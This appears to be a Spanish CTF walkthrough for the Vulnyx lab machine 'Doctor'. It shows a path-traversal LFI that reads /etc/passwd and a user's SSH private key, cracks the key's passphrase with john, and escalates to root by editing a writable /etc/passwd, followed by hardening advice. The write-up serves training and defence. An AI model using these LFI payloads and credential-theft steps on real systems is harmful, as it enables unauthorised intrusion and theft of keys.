> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/vulnyx/muy_facil/doctor.md).

# Doctor

> **Dificultad:** Fácil | **SO:** Linux | **IP:** 192.168.56.103

***

## Enumeración

Se identifica la máquina objetivo y su dirección IP.

![](/files/SbtSDJUxtvLod5loaIBP)

Se lanza un escaneo con `nmap` para detectar puertos abiertos y versiones de servicios:

```bash
nmap -sV -p- -T4 192.168.56.103
```

![](/files/3dsytdJhkoPbFIaxwrcE)

Se detectan dos servicios expuestos:

* **SSH (22)** — OpenSSH 7.9p1 Debian
* **HTTP (80)** — Apache httpd 2.4.38

La superficie de ataque es reducida, por lo que el siguiente paso es enumerar la aplicación web.

***

## Enumeración Web

Al acceder a `http://192.168.56.103` se encuentra una aplicación tipo CMS médico llamada **Docmed**.

![](/files/hO0sXnQcJdwiPm1twmHE)

Se realiza fuzzing de directorios con `gobuster` para descubrir rutas ocultas:

```bash
gobuster dir -u http://192.168.56.103:80 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,txt,php,bak,sh,asp,aspx \
  -b 403,404 -t 60
```

![](/files/6Lf4WuZ8i7IHjm934cQO)

Se identifican varios archivos accesibles (`about.html`, `blog.html`, `contact.html`, `main.html`) pero ninguno con funcionalidad crítica a primera vista. El siguiente paso es revisar el código fuente en busca de parámetros vulnerables.

***

## LFI (Local File Inclusion)

Analizando el código fuente se detecta que el enlace a la sección de doctores utiliza un parámetro `include` para cargar archivos dinámicamente:

<div align="left"><img src="/files/SSWe3uDBIHQTlbT6Yq0L" alt=""></div>

```html
<li><a href="doctor-item.php?include=Doctors.html">Doctors</a></li>
```

El parámetro no valida la entrada, lo que permite un ataque de **path traversal** para leer archivos arbitrarios del sistema. Se comprueba la vulnerabilidad leyendo `/etc/passwd`:

```
http://192.168.56.103/doctor-item.php?include=../../../../../../etc/passwd
```

![](/files/VGDgOW7tpbaoSCgUN2kQ)

El archivo se devuelve en la respuesta, confirmando el LFI. Al final del listado se observa la entrada del usuario `admin` con directorio home en `/home/admin`.

***

## Obtención de clave SSH

Aprovechando el LFI, se intenta acceder a la clave privada SSH del usuario `admin`:

```
http://192.168.56.103/doctor-item.php?include=../../../../../../home/admin/.ssh/id_rsa
```

![](/files/Jr5rMri7fjFR4gAS5Uin)

La clave privada se expone en la respuesta. Se copia su contenido, se guarda en un archivo local y se ajustan los permisos:

```bash
nano admin_ssh
chmod 600 admin_ssh
```

***

## Cracking de clave

La clave privada está cifrada con passphrase. Se convierte al formato compatible con `john` y se lanza un ataque de diccionario:

```bash
ssh2john admin_ssh > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

![](/files/Hu29Kyld7vRepdwbzJEg)

`john` obtiene la passphrase en segundos: **`unicorn`**.

***

## Acceso inicial

Con la clave privada y la passphrase crackeada, se accede al sistema:

```bash
ssh admin@192.168.56.103 -i admin_ssh
# passphrase: unicorn
```

<div align="left"><img src="/files/TnYvCXqkhym4OhlHfJ7C" alt=""></div>

Se obtiene una shell como el usuario `admin`.

***

## Escalada de privilegios

Durante la enumeración del sistema se identifica que el usuario `admin` tiene **permisos de escritura sobre `/etc/passwd`**, lo que permite modificar directamente las credenciales del sistema.

<div align="left"><img src="/files/zmkN3MbjbyRE81alpdBz" alt=""></div>

Se genera un hash de contraseña con `openssl`:

```bash
openssl passwd hola
# Salida: B/ax1FHLvCQTw
```

Se edita `/etc/passwd` sustituyendo la `x` del campo de contraseña de `root` por el hash generado:

```
root:B/ax1FHLvCQTw:0:0:root:/root:/bin/bash
```

<div align="left"><img src="/files/TSWkK92oyl0ggpdh7ZpX" alt=""></div>

Una vez modificado el archivo, se cambia al usuario `root` con la contraseña definida:

```bash
su root
# Contraseña: hola
```

<div align="left"><img src="/files/IiSLPsyDHu8iNVXT6H5q" alt=""></div>

***

## Acceso root

Se obtiene una shell como `root` y se captura la flag:

```bash
cat /root/root.txt
```

<div align="left"><img src="/files/et7g5Gxq0RsPWpEvumDS" alt=""></div>

**Flag:** `dfde8cc67ed8819b2386dc74e472ecc6`

***

## Conclusión

La cadena de ataque completa fue:

```
LFI → /etc/passwd (enum usuarios)
LFI → /home/admin/.ssh/id_rsa (clave privada)
    → Cracking con john (passphrase: unicorn)
        → SSH como admin
            → Escritura en /etc/passwd
                → root
```

Esta máquina ilustra cómo una única vulnerabilidad de inclusión de archivos, combinada con malas prácticas de configuración, puede comprometer completamente un sistema.

***

## Recomendaciones

* **LFI:** Nunca usar parámetros controlados por el usuario para incluir archivos. Definir rutas en el servidor y validar estrictamente cualquier entrada.
* **Claves SSH:** No almacenar claves privadas en rutas accesibles por el servidor web. Usar passphrases largas y aleatorias.
* **Permisos en `/etc/passwd`:** Este archivo debe tener permisos `644` con propietario `root`. Auditar permisos con:

  ```bash
  find / -writable -type f 2>/dev/null | grep -v proc
  ```
* **Principio de mínimo privilegio:** Los usuarios de aplicación no deben tener acceso de escritura sobre archivos críticos del sistema operativo.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/vulnyx/muy_facil/doctor.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
